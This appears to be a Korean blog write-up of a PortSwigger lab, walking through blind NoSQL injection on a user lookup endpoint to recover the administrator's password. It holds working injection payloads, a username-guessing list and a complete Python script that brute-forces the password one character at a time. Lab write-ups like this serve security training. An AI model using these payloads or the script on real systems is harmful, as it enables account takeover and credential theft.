Lab: Exploiting NoSQL injection to extract data

https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-data

NoSQL Injection으로 관리자 계정의 비밀번호를 추출해내는 문제다.

우선 로그인 페이지에서 기본으로 주어진 계정인 wiener/peter로 로그인을 시도한다. 그리고 생성된 요청들을 Burp Suite에서 확인을 해보면, JSON 타입으로 계정을 조회하는 패킷을 볼 수 있다.


로그인 후의 화면에서 응답으로 받은 아이디, 이메일, 역할을 출력하기 위해 저런 정보들을 응답 해준 듯하다.


이제 해당 요청에서 취약점이 발생하는지 테스트부터 하겠다. 나의 예상으로는 아래의 코드처럼 서버에 구성이 되어있을꺼라 생각된다.

if(username=='{id}')


우선 싱글쿼터와 더블쿼터부터 확인한다. 요청 패킷을 아래와 같이 싱글쿼터와 더블쿼터를 추가해서 전송해본다.


두 요청에 대한 응답을 봐서는 싱글쿼터는 구문 오류로 보인다. 이것은 내가 예상한 로직대로 사용자의 입력 값을 싱글쿼터로 설정한 듯 보인다. 반대로 더블쿼터는 유저를 찾을 수 없다는 것으로보아 wiener” 라는 계정 자체를 찾으려는 시도였던 듯하다. 이로써 싱글쿼터로 로직이 짜여져 있음을 알 수 있다.

이제 NoSQL Injection으로 정보를 추출할 때 사용할 구문들이 동작하는지 확인해본다. 두 구문이 모두 잘 동작한다. %26은 & 기호를 URL Encoding 한 값이다. 이렇게 하는 이유는 URL을 통해 전달할 때, & 문자 그대로 넘기면 해당 문자는 파라미터를 구분하는 의미로 쓰여지므로, %26으로 인코딩해서 요청을 보낸다.

## 비밀번호 길이 확인
?user=wiener'%26%26this.password.length=='5

## 비밀번호 첫째 자리가 p와 동일한가?
?user=wiener'%26%26this.password[0]=='p


이제 관리자 계정의 이름을 맞추고 비밀번호를 추출하기만 하면 된다. 시도해볼 계정 리스트는 아래와 같다.

adminl4s4awhn  ## 이전 문제의 관리자 계정 이름
admin  ## 일반적인 관리자 계정
administrator  ## 일반적인 관리자 계정


이들 중 administrator 계정이 존재하는 것을 확인했다.


이제 NoSQL Injection 구문을 통해 비밀번호를 추출하고 로그인하면 문제는 해결된다. 그런데 한 문자 씩 추출해 나가는 Blind NoSQL Injection 이므로 Python 코드를 작성해서 자동화를 시켜보도록 하겠다.

import requests

################################################
## 수정해서 사용
# URL Number
url_number = "0a8b003e03b1642a808b17ce000700dd"
# 세션 값
session = "IN7aNXKktZiVDEtd9eE6eCgofgnidRzY"
################################################
cookie = {"session":f"{session}"}
words = "0123456789abcdefghijklmnopqrstuvwxyz"
password = ""

count = 1
while True:
    query = f"administrator'%26%26this.password.length=='{count}"
    url = f"https://{url_number}.web-security-academy.net/user/lookup?user={query}"
    response = requests.get(url, cookies=cookie)

    if "administrator" in response.text:
        print(f"administrator의 비밀번호 자릿수: {count}")
        break
        
    count += 1

for digit in range(count):
    for word in words:
        query = f"administrator'%26%26this.password[{digit}]=='{word}"
        url = f"https://{url_number}.web-security-academy.net/user/lookup?user={query}"
        response = requests.get(url, cookies=cookie)
        if "administrator" in response.text:
            password += word
            break

print(f"administrator의 비밀번호: {password}")


문제 해결!👍👍

Published by